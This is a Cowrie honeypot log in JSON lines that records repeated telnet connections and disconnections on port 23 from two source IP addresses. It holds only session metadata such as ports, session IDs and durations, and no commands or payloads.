{"eventid":"cowrie.session.closed","duration":50.12784004211426,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:32.127097Z","src_ip":"162.219.178.250","session":"c7ef9b9a2346","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.4437370300293,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:32.367802Z","src_ip":"162.219.178.250","session":"2c0e61e57732","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":50944,"dst_ip":"10.17.0.5","dst_port":23,"session":"788a40a43f90","protocol":"telnet","message":"New connection: 162.219.178.250:50944 (10.17.0.5:23) [session: 788a40a43f90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:32.610311Z"}
{"eventid":"cowrie.session.closed","duration":49.44762587547302,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:32.731030Z","src_ip":"162.219.178.250","session":"692b805f5bb3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.198447465896606,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:33.580164Z","src_ip":"162.219.178.250","session":"0426477f2370","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":54008,"dst_ip":"10.17.0.5","dst_port":23,"session":"a153daa2ff26","protocol":"telnet","message":"New connection: 162.219.178.250:54008 (10.17.0.5:23) [session: a153daa2ff26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:33.626148Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":45972,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c966b43df41","protocol":"telnet","message":"New connection: 188.208.141.113:45972 (10.17.0.5:23) [session: 2c966b43df41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:34.145159Z"}
{"eventid":"cowrie.session.closed","duration":6.1094443798065186,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:34.313056Z","src_ip":"188.208.141.113","session":"3e9b5b6ac027","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.561439990997314,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:34.408227Z","src_ip":"162.219.178.250","session":"8770f0e7c682","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":54494,"dst_ip":"10.17.0.5","dst_port":23,"session":"371a63722184","protocol":"telnet","message":"New connection: 162.219.178.250:54494 (10.17.0.5:23) [session: 371a63722184]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:34.930083Z"}
{"eventid":"cowrie.session.closed","duration":49.9865837097168,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:35.648079Z","src_ip":"162.219.178.250","session":"7710b404444b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":87.47159028053284,"message":"Connection lost after 87 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:35.769003Z","src_ip":"162.219.178.250","session":"f7cf384e8df6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.09518122673035,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:35.991850Z","src_ip":"162.219.178.250","session":"d02e66347ade","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":56458,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb173780bb86","protocol":"telnet","message":"New connection: 162.219.178.250:56458 (10.17.0.5:23) [session: bb173780bb86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:36.251416Z"}
{"eventid":"cowrie.session.closed","duration":87.4913375377655,"message":"Connection lost after 87 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:36.325336Z","src_ip":"162.219.178.250","session":"6f1ca34f493e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":56858,"dst_ip":"10.17.0.5","dst_port":23,"session":"ebe79b1acf68","protocol":"telnet","message":"New connection: 162.219.178.250:56858 (10.17.0.5:23) [session: ebe79b1acf68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:36.545502Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":56922,"dst_ip":"10.17.0.5","dst_port":23,"session":"08e1e223f752","protocol":"telnet","message":"New connection: 162.219.178.250:56922 (10.17.0.5:23) [session: 08e1e223f752]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:36.598374Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":44984,"dst_ip":"10.17.0.5","dst_port":23,"session":"1339b2747311","protocol":"telnet","message":"New connection: 162.219.178.250:44984 (10.17.0.5:23) [session: 1339b2747311]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:36.955367Z"}
{"eventid":"cowrie.session.closed","duration":0.006903409957885742,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:36.962121Z","src_ip":"162.219.178.250","session":"1339b2747311","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.647146224975586,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:36.965549Z","src_ip":"162.219.178.250","session":"2255283bce2d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":54750,"dst_ip":"10.17.0.5","dst_port":23,"session":"67914a08470c","protocol":"telnet","message":"New connection: 162.219.178.250:54750 (10.17.0.5:23) [session: 67914a08470c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:37.079453Z"}
{"eventid":"cowrie.session.closed","duration":45.86791729927063,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:37.368496Z","src_ip":"162.219.178.250","session":"300b486e44de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":58712,"dst_ip":"10.17.0.5","dst_port":23,"session":"2fd21b9edc58","protocol":"telnet","message":"New connection: 162.219.178.250:58712 (10.17.0.5:23) [session: 2fd21b9edc58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:37.927701Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":58698,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e01236399df","protocol":"telnet","message":"New connection: 162.219.178.250:58698 (10.17.0.5:23) [session: 1e01236399df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:37.933484Z"}
{"eventid":"cowrie.session.closed","duration":30.492895126342773,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:38.604547Z","src_ip":"162.219.178.250","session":"c24eb5a8d76b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.4108669757843,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:38.649839Z","src_ip":"162.219.178.250","session":"9168f445309c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":32778,"dst_ip":"10.17.0.5","dst_port":23,"session":"a37db674eb9a","protocol":"telnet","message":"New connection: 162.219.178.250:32778 (10.17.0.5:23) [session: a37db674eb9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:38.653443Z"}
{"eventid":"cowrie.session.closed","duration":31.0387966632843,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:38.827926Z","src_ip":"162.219.178.250","session":"11a6c7fb1586","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":44166,"dst_ip":"10.17.0.5","dst_port":23,"session":"452645c68198","protocol":"telnet","message":"New connection: 162.219.178.250:44166 (10.17.0.5:23) [session: 452645c68198]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:39.491172Z"}
{"eventid":"cowrie.session.closed","duration":0.005491018295288086,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:39.496511Z","src_ip":"162.219.178.250","session":"452645c68198","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":35070,"dst_ip":"10.17.0.5","dst_port":23,"session":"315d70c00681","protocol":"telnet","message":"New connection: 162.219.178.250:35070 (10.17.0.5:23) [session: 315d70c00681]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:40.343344Z"}
{"eventid":"cowrie.session.closed","duration":30.341012477874756,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:40.555488Z","src_ip":"162.219.178.250","session":"88921c729717","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":35918,"dst_ip":"10.17.0.5","dst_port":23,"session":"5cd6f5b50683","protocol":"telnet","message":"New connection: 162.219.178.250:35918 (10.17.0.5:23) [session: 5cd6f5b50683]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:40.974335Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":60792,"dst_ip":"10.17.0.5","dst_port":23,"session":"67db3e4e0e8f","protocol":"telnet","message":"New connection: 162.219.178.250:60792 (10.17.0.5:23) [session: 67db3e4e0e8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:41.445956Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":36886,"dst_ip":"10.17.0.5","dst_port":23,"session":"b86c98690c5b","protocol":"telnet","message":"New connection: 162.219.178.250:36886 (10.17.0.5:23) [session: b86c98690c5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:41.843636Z"}
{"eventid":"cowrie.session.closed","duration":50.33467507362366,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:42.061087Z","src_ip":"162.219.178.250","session":"e20830fc4021","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":36248,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1998272dd19","protocol":"telnet","message":"New connection: 162.219.178.250:36248 (10.17.0.5:23) [session: b1998272dd19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:42.286977Z"}
{"eventid":"cowrie.session.closed","duration":30.390212297439575,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:42.660173Z","src_ip":"162.219.178.250","session":"d09906987138","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.434006452560425,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:42.863697Z","src_ip":"188.208.141.113","session":"ec521e75856a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":36046,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff5f2a3b5a60","protocol":"telnet","message":"New connection: 188.208.141.113:36046 (10.17.0.5:23) [session: ff5f2a3b5a60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:44.143217Z"}
{"eventid":"cowrie.session.closed","duration":31.029297828674316,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:44.628604Z","src_ip":"162.219.178.250","session":"923fefc87ee1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.00910210609436,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:44.751601Z","src_ip":"162.219.178.250","session":"01667cbf0980","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.193323850631714,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:44.758107Z","src_ip":"162.219.178.250","session":"f6aa7f78b2ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":38540,"dst_ip":"10.17.0.5","dst_port":23,"session":"6fd1f9a841eb","protocol":"telnet","message":"New connection: 162.219.178.250:38540 (10.17.0.5:23) [session: 6fd1f9a841eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:45.101502Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":37420,"dst_ip":"10.17.0.5","dst_port":23,"session":"366fa0334c25","protocol":"telnet","message":"New connection: 162.219.178.250:37420 (10.17.0.5:23) [session: 366fa0334c25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:45.194231Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":40162,"dst_ip":"10.17.0.5","dst_port":23,"session":"1db23b1ba75b","protocol":"telnet","message":"New connection: 162.219.178.250:40162 (10.17.0.5:23) [session: 1db23b1ba75b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:45.347490Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":40244,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc982f95f808","protocol":"telnet","message":"New connection: 162.219.178.250:40244 (10.17.0.5:23) [session: dc982f95f808]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:45.412944Z"}
{"eventid":"cowrie.session.closed","duration":31.263132095336914,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:45.454220Z","src_ip":"162.219.178.250","session":"7efa1ba03081","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":39160,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae3e43fe440a","protocol":"telnet","message":"New connection: 162.219.178.250:39160 (10.17.0.5:23) [session: ae3e43fe440a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:46.583495Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":44150,"dst_ip":"10.17.0.5","dst_port":23,"session":"13d8875c4ccd","protocol":"telnet","message":"New connection: 162.219.178.250:44150 (10.17.0.5:23) [session: 13d8875c4ccd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:47.428356Z"}
{"eventid":"cowrie.session.closed","duration":49.28063130378723,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:47.517853Z","src_ip":"188.208.141.113","session":"cdba80df4d66","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.634770154953003,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:47.614442Z","src_ip":"162.219.178.250","session":"c06215f7aed9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":36062,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fb24d90d6e0","protocol":"telnet","message":"New connection: 188.208.141.113:36062 (10.17.0.5:23) [session: 4fb24d90d6e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:49.125924Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":46698,"dst_ip":"10.17.0.5","dst_port":23,"session":"80fd0de860c9","protocol":"telnet","message":"New connection: 162.219.178.250:46698 (10.17.0.5:23) [session: 80fd0de860c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:49.505767Z"}
{"eventid":"cowrie.session.closed","duration":31.029314517974854,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:49.683260Z","src_ip":"162.219.178.250","session":"a2465754ac94","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":55362,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8d73b4b7edd","protocol":"telnet","message":"New connection: 162.219.178.250:55362 (10.17.0.5:23) [session: f8d73b4b7edd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:50.862936Z"}
{"eventid":"cowrie.session.closed","duration":31.01116394996643,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:50.968366Z","src_ip":"162.219.178.250","session":"faa4d15f5aa5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.695520877838135,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:51.486611Z","src_ip":"188.208.141.113","session":"fb7e0f255154","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":37408,"dst_ip":"10.17.0.5","dst_port":23,"session":"a65f9a541f1d","protocol":"telnet","message":"New connection: 188.208.141.113:37408 (10.17.0.5:23) [session: a65f9a541f1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:51.630863Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":46478,"dst_ip":"10.17.0.5","dst_port":23,"session":"1692be1ec66e","protocol":"telnet","message":"New connection: 162.219.178.250:46478 (10.17.0.5:23) [session: 1692be1ec66e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:52.314452Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":45586,"dst_ip":"10.17.0.5","dst_port":23,"session":"6cf278482c9d","protocol":"telnet","message":"New connection: 162.219.178.250:45586 (10.17.0.5:23) [session: 6cf278482c9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:52.686076Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":50736,"dst_ip":"10.17.0.5","dst_port":23,"session":"b07b570b52c4","protocol":"telnet","message":"New connection: 162.219.178.250:50736 (10.17.0.5:23) [session: b07b570b52c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:52.773852Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":51066,"dst_ip":"10.17.0.5","dst_port":23,"session":"9034f4b5f6cb","protocol":"telnet","message":"New connection: 162.219.178.250:51066 (10.17.0.5:23) [session: 9034f4b5f6cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:53.031757Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":49910,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d166496f560","protocol":"telnet","message":"New connection: 162.219.178.250:49910 (10.17.0.5:23) [session: 4d166496f560]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:53.076685Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":51132,"dst_ip":"10.17.0.5","dst_port":23,"session":"4004f3a1a500","protocol":"telnet","message":"New connection: 162.219.178.250:51132 (10.17.0.5:23) [session: 4004f3a1a500]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:53.080621Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":49936,"dst_ip":"10.17.0.5","dst_port":23,"session":"5fdea5250159","protocol":"telnet","message":"New connection: 162.219.178.250:49936 (10.17.0.5:23) [session: 5fdea5250159]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:53.091968Z"}
{"eventid":"cowrie.session.closed","duration":30.278751611709595,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:53.747914Z","src_ip":"162.219.178.250","session":"1588c5954f47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":50960,"dst_ip":"10.17.0.5","dst_port":23,"session":"c602f61a59d0","protocol":"telnet","message":"New connection: 162.219.178.250:50960 (10.17.0.5:23) [session: c602f61a59d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:53.963388Z"}
{"eventid":"cowrie.session.closed","duration":30.416728258132935,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:54.818213Z","src_ip":"162.219.178.250","session":"de8cbf39d278","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":52472,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e8e0b16d519","protocol":"telnet","message":"New connection: 162.219.178.250:52472 (10.17.0.5:23) [session: 3e8e0b16d519]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:55.092627Z"}
{"eventid":"cowrie.session.closed","duration":42.739659547805786,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:55.470331Z","src_ip":"162.219.178.250","session":"a56ddbde23d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":41566,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec8b2f268db4","protocol":"telnet","message":"New connection: 162.219.178.250:41566 (10.17.0.5:23) [session: ec8b2f268db4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:55.721005Z"}
{"eventid":"cowrie.session.closed","duration":0.006891965866088867,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:55.727738Z","src_ip":"162.219.178.250","session":"ec8b2f268db4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":51166,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8a68d08b69a","protocol":"telnet","message":"New connection: 162.219.178.250:51166 (10.17.0.5:23) [session: e8a68d08b69a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:56.086720Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":52468,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea308e23d126","protocol":"telnet","message":"New connection: 162.219.178.250:52468 (10.17.0.5:23) [session: ea308e23d126]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:56.109050Z"}
{"eventid":"cowrie.session.closed","duration":4.603482484817505,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:56.234256Z","src_ip":"188.208.141.113","session":"a65f9a541f1d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.29045271873474,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:57.082138Z","src_ip":"162.219.178.250","session":"bdb774fde69f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":52554,"dst_ip":"10.17.0.5","dst_port":23,"session":"1538a1c36732","protocol":"telnet","message":"New connection: 162.219.178.250:52554 (10.17.0.5:23) [session: 1538a1c36732]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:57.166225Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":56506,"dst_ip":"10.17.0.5","dst_port":23,"session":"46a74beedd7a","protocol":"telnet","message":"New connection: 162.219.178.250:56506 (10.17.0.5:23) [session: 46a74beedd7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:57.268480Z"}
{"eventid":"cowrie.session.closed","duration":31.19416832923889,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:57.374723Z","src_ip":"162.219.178.250","session":"27d9d95c0008","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.939631938934326,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:35:57.425054Z","src_ip":"162.219.178.250","session":"b1eee7799e7d","protocol":"telnet"}
